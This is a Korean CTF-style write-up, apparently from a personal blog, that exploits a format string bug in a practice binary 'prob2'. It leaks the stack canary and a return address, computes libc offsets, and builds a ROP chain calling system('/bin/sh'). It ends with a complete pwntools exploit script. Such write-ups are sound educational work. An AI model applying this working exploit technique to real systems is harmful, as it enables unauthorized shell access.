전 글과 같이 이번에도 포맷스트링 버그를 이용하여 쉘을 얻을것인데, 이번에는 canary 보호기법이 적용되어 있어 canary까지 유출해보도록 하겠습니다.
canary는 rsp+0x18에 위치하니 %(5+0x18/8+1)$p로 포맷스트링을 만들어주고, ret은 rbp+0x8인데 rbp는 rsp+0x20이기 때문에, rsp+0x28에 위치합니다. %(5+0x28/8+1)$p로 포맷스트링을 만들어서 전송해 주겠습니다.
계산해보면 "%9$p.%11$p"인데 중간에 .은 출력을 가져올 때 두 주소를 구분하기 위한 문자입니다. 총 10자로 scanf 에서 10자만 받으니 sendline으로 보내면 입력 버퍼에 개행만 남아 다음 read에서 그냥 넘어가기 때문에 send 로 보내주겠습니다.
payload = "%{}$p.%{}$p".format(str(5+(0x18/8)+1), str(5+(0x28/8)+1))
r.send(payload)
값을 받아오겠습니다.
canary = int(r.recvuntil(".")[:-1], 16)
print(hex(canary))
ret = int(r.recv(14), 16)
print(hex(ret))
ret 을 받아왔으니 libc base를 구해주고, system함수와 /bin/sh문자열을 가져오겠습니다.
_base = ret - 240 - libc.sym['__libc_start_main']
_system = _base + libc.sym['system']
_binsh = _base + libc.search("/bin/sh\x00").next()
그리고 이걸 이용하여 canary가 있는 위치 전까지 더미값으로 덮어씌우고, canary를 유출한 값으로 다시 덮어 씌우겠습니다. 그 다음 SFP 더미값으로 덮어 씌우고 RET을 system("/bin/sh")로 써주겠습니다.
payload = "A" * (0x18)
payload += p64(canary)
payload += "B" * 8
payload += p64(prdi)
payload += p64(_binsh)
payload += p64(_system)
r.sendline(payload)
그리고 실행하게 되면 쉘이 실행되게 됩니다.
from pwn import *
context.log_level = 'debug'
e = ELF('./prob2')
r = process('./prob2')
libc = e.libc
prdi = 0x0000000000400893
payload = "%{}$p.%{}$p".format(str(5+(0x18/8)+1), str(5+(0x28/8)+1))
r.send(payload)
canary = int(r.recvuntil(".")[:-1], 16)
print(hex(canary))
ret = int(r.recv(14), 16)
print(hex(ret))
_base = ret - 240 - libc.sym['__libc_start_main']
_system = _base + libc.sym['system']
_binsh = _base + libc.search("/bin/sh\x00").next()
payload = "A" * (0x18)
payload += p64(canary)
payload += "B" * 8
payload += p64(prdi)
payload += p64(_binsh)
payload += p64(_system)
r.sendline(payload)
r.interactive()
728x90
'해킹 > writeup' 카테고리의 다른 글
DefCoN#22 #3 (0) | 2021.08.06 |
---|---|
DefCoN#22 #2 (0) | 2021.08.06 |
21. format string bug - prob1 (0) | 2021.08.01 |
20. sung.pw - BaskinRobins31 (0) | 2021.08.01 |
19. sung.pw - rop64_v2 (0) | 2021.08.01 |